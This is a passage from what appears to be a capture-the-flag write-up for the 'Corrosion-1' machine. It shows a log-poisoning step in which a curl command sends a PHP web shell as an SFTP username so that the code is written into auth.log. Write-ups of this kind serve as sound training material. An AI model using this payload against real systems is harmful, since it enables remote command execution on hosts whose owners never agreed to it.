http://r2km7u25qebaefa7b6jdcjldymc2u337vzpx7ne773ypgs3qlq4xycqd.onion/index.php?page=Corrosion-1
Injecting PHP into Auth Log To inject PHP code into the auth.log file, I attempted an SSH login with PHP code as the username: $ curl -k -si -u '<?php echo shell_exec($_GET["cmd"]);?>' sftp://[TARGET_IP]/lmao This request triggered an authentication failure, but more importantly, it logged my malicious PHP code to the auth.log file.